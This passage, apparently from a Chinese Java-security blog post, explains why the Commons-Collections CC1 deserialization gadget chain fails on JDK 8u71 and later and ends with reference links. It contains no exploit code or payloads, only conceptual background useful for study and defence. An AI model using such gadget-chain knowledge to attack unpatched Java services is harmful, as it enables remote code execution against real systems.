1. 对于 TransformerMap 版的 CC1 链子

对于 TransformerMap 版的 CC1 链子来说,jdk8u71 及以后的版本没有了能调用 ReadObject 中 setValue() 方法的地方。

img

2. 对于正版 CC1 链子

因为在8u71之后的版本反序列化不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因

img

参考

https://www.bilibili.com/video/BV1yP4y1p7N7?t=994.7

https://www.bilibili.com/video/BV1no4y1U7E1?t=2743.1

Java反序列化Commons-Collections篇02-CC1链补充 | Drunkbaby’s Blog

https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/


Java安全-CC1链
http://huang-d1.github.io/2025/09/03/Java安全-CC1链/
作者
huangdi
发布于
2025年9月3日
许可协议